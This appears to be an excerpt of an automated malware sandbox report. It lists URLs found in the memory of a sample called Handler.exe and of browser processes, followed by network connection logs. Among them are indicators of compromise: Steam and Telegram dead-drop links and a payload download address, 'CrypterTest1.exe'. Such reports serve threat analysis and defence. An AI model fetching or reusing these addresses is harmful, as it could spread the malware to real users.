Source: chrome.exe, 00000007.00000002.2238475164.00001DFC030B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237119441.00001DFC02D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000007.00000002.2227851344.00001DFC026C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000007.00000002.2236202810.00001DFC02B87000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236302120.00001DFC02BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000007.00000003.2154578581.00001DFC0340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154487144.00001DFC0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154259268.00001DFC02668000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000007.00000002.2238475164.00001DFC030B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chrome.exe, 00000007.00000002.2236302120.00001DFC02BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000007.00000002.2223861633.00001DFC0228C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000007.00000002.2223963127.00001DFC022A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000007.00000002.2225242869.00001DFC023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000007.00000002.2238852282.00001DFC031B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235525747.00001DFC029AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227851344.00001DFC026C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235569663.00001DFC029C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000007.00000002.2238852282.00001DFC031B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235525747.00001DFC029AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227851344.00001DFC026C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235569663.00001DFC029C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000007.00000002.2227027266.00001DFC025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: Handler.exe, Handler.exe, 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199817305251
Source: Handler.exe, 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199817305251fc0stnMozilla/5.0
Source: Handler.exe, 00000001.00000002.2634203781.0000000004530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Handler.exe, 00000001.00000002.2634203781.0000000004530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Handler.exe, 00000001.00000002.2627835905.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Handler.exe, Handler.exe, 00000001.00000002.2627835905.0000000001078000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2627835905.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/w0ctzn
Source: Handler.exe, 00000001.00000002.2627835905.0000000001078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/w0ctzn(
Source: Handler.exe, 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/w0ctznfc0stnMozilla/5.0
Source: chrome.exe, 00000007.00000002.2236456756.00001DFC02BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000007.00000002.2225242869.00001DFC023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: Handler.exe, 00000001.00000002.2627835905.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: Handler.exe, 00000001.00000002.2632796447.00000000042FF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2629627670.0000000003B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: Handler.exe, 00000001.00000002.2632796447.00000000042FF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2629627670.0000000003B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: Handler.exe, 00000000.00000002.2206669540.0000000003D09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: Handler.exe, 00000001.00000002.2629627670.0000000003B5C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237151898.00001DFC02D9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000007.00000002.2237191650.00001DFC02DC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172382643.00001DFC02DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000007.00000002.2237191650.00001DFC02DC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172382643.00001DFC02DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000007.00000002.2237191650.00001DFC02DC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172382643.00001DFC02DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000007.00000002.2236064166.00001DFC02AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000007.00000003.2153819653.00001DFC02E80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235674303.00001DFC02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000007.00000002.2235674303.00001DFC02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000007.00000002.2235674303.00001DFC02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/CharBl3
Source: chrome.exe, 00000007.00000002.2237191650.00001DFC02DC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172382643.00001DFC02DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000007.00000002.2237191650.00001DFC02DC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172382643.00001DFC02DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2me/
Source: chrome.exe, 00000007.00000002.2238903228.00001DFC031D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000007.00000002.2235606077.00001DFC029E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236171001.00001DFC02B58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238511011.00001DFC030E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2225242869.00001DFC023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000007.00000002.2236171001.00001DFC02B58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238511011.00001DFC030E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2225242869.00001DFC023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000007.00000002.2235606077.00001DFC029E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gsOpen
Source: Handler.exe, 00000001.00000002.2629627670.0000000003B5C000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2234441826.00001DFC027C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2228059988.00001DFC026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235126710.00001DFC0291C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000007.00000002.2227027266.00001DFC025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000007.00000002.2227027266.00001DFC025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000007.00000003.2154259268.00001DFC02668000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000007.00000002.2227851344.00001DFC026C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000007.00000002.2236572042.00001DFC02C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000007.00000002.2223647781.00001DFC0221C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000007.00000003.2181676198.00001DFC03ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181628885.00001DFC03AA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181519116.00001DFC03AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000007.00000002.2225564096.00001DFC02480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000007.00000002.2225564096.00001DFC02480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000007.00000002.2225564096.00001DFC02480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000007.00000002.2225564096.00001DFC02480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000007.00000002.2236064166.00001DFC02AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000007.00000002.2236064166.00001DFC02AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000007.00000002.2227851344.00001DFC026C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000007.00000003.2172075586.00001DFC03628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000007.00000003.2169608151.00001DFC035C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172156332.00001DFC03568000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239485642.00001DFC03598000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2169218524.00001DFC0354C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172112443.00001DFC0354C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2168865136.00001DFC0354C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2171948731.00001DFC03590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172075586.00001DFC03628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000007.00000003.2168865136.00001DFC0354C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172075586.00001DFC03628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2169333797.00001DFC0360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2224043936.00001DFC022E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2169393190.00001DFC034D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.rX6uZdQxZxU.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000007.00000003.2168865136.00001DFC0354C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172075586.00001DFC03628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2169333797.00001DFC0360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2169393190.00001DFC034D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.CEsjJf2wziM.L.W.O/m=qmd
Source: Handler.exe, 00000001.00000002.2634203781.0000000004530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Handler.exe, 00000001.00000002.2634203781.0000000004530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Handler.exe, 00000001.00000002.2634203781.0000000004530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Handler.exe, 00000001.00000002.2634203781.0000000004530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Handler.exe, 00000001.00000002.2634203781.0000000004530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Handler.exe, 00000001.00000002.2634203781.0000000004530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: chrome.exe, 00000007.00000002.2237344302.00001DFC02E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000007.00000003.2172294370.00001DFC032C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238001703.00001DFC02FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl
Source: chrome.exe, 00000007.00000002.2237119441.00001DFC02D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000007.00000002.2237344302.00001DFC02E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/dle
Source: chrome.exe, 00000007.00000002.2240129898.00001DFC03D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237789580.00001DFC02F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2234441826.00001DFC027C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237083144.00001DFC02D50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000007.00000002.2240129898.00001DFC03D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlbag
Source: chrome.exe, 00000007.00000002.2234441826.00001DFC027C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt
Source: chrome.exe, 00000007.00000002.2240129898.00001DFC03D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlncm
Source: Handler.exe, 00000001.00000002.2627835905.0000000001078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/
Source: Handler.exe, 00000001.00000002.2627835905.0000000001144000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2627835905.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/CrypterTest1.exe
Source: Handler.exe, 00000001.00000002.2627835905.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/CrypterTest1.exeE
Source: Handler.exe, 00000001.00000002.2627835905.0000000001144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/CrypterTest1.exets
Source: Handler.exe, 00000001.00000002.2627835905.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/o

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50502
Source: unknown	Network traffic detected: HTTP traffic on port 50360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50506
Source: unknown	Network traffic detected: HTTP traffic on port 50417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50505
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50500
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50513
Source: unknown	Network traffic detected: HTTP traffic on port 50359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50519
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50518
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50510
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50526
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50529
Source: unknown	Network traffic detected: HTTP traffic on port 50507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50520
Source: unknown	Network traffic detected: HTTP traffic on port 50337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50521
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50556 -> 443
